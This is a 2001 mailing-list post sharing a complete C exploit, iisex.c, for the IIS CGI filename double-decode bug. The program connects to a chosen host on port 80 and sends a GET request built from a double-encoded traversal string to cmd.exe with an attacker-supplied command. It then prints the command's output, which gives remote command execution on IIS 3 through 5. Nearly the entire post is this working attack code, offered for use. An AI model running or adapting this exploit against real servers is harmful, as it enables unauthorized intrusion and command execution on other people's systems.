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iis exploit (fixed)
From: "Hux Flux" <huxflux2001 () hotmail com>
Date: Wed, 16 May 2001 03:53:42 +0100

This is the fixed iis exploit

^^^--------- iisex.c starts here-------^^^^

/* IISEX by HuXfLuX <huxflux2001 () hotmail com>. IIS CGI File Decode Bug exploit. Written 16-05-2001. Compiles on Linux, works with IIS versions 3, 4 and 5. Microsoft's products were always
   famous for their backward compatibility!

You can change the SHOWSEQUENCE value to some other strings that also work.
   More info: http://www.nsfocus.com

   Thanx to Filip Maertens <filip () securax be>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>

#define SHOWSEQUENCE "/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+"

int resolv(char *hostname,struct in_addr *addr);

int main(int argc, char *argv[])
{

       struct sockaddr_in sin;
       struct in_addr victim;
       char recvbuffer[1], stuff[200]="";
       int create_socket;

printf("IISEX by HuxFlux <huxflux2001 () hotmail com>\nThis exploits the IIS CGI Filename Decode Error.\nWorks with IIS versions 3, 4 and 5!.\n");

       if (argc < 3)
       {
               printf("[?] Usage: %s [ip] [command]\n", argv[0]);
               exit(0);
       }

       if (!resolv(argv[1],&victim))
       {
               printf("[x] Error resolving host.\n");
               exit(-1);
       }
       printf("\n[S] Exploit procedure beginning.\n");

if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 ) printf("[*] Socket created.\n");

       bzero(&sin,sizeof(sin));
       memcpy(&sin.sin_addr,&victim,sizeof(struct in_addr));
       sin.sin_family = AF_INET;
       sin.sin_port = htons(80);
       //sin.sin_addr.s_addr = inet_addr(argv[1]);


if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0) printf("[*] Connection made.\n");
       else {
               printf("[x] No connection.\n");
               exit(1);
       }

       strcat(stuff, "GET ");
       strcat(stuff, SHOWSEQUENCE);
       strcat(stuff, argv[2]);
       strcat(stuff, " HTTP/1.0\r\n\r\n");
       printf("[*] Sending: %s", stuff);

       memset(recvbuffer, '\0',sizeof(recvbuffer));

       send(create_socket, stuff, sizeof(stuff), 0);

       if ( strstr(recvbuffer,"404") == NULL ) {
               printf("[*] Command output:\n\n");

               while(recv(create_socket, recvbuffer, 1, 0) > 0)
               {
                       printf("%c", recvbuffer[0]);
               }
               printf("\n\n");
       }
       else printf("[x] Wrong command processing. \n");
       printf("[E] Finished.\n");

       close(create_socket);
}

int resolv(char *hostname,struct in_addr *addr)
{
       struct hostent *res;

       if (inet_aton(hostname,addr)) return(1);

       res = gethostbyname(hostname);
       if (res == NULL) return(0);

       memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
       return(1);
}
^^^--------- iisex.c ends here-------^^^^
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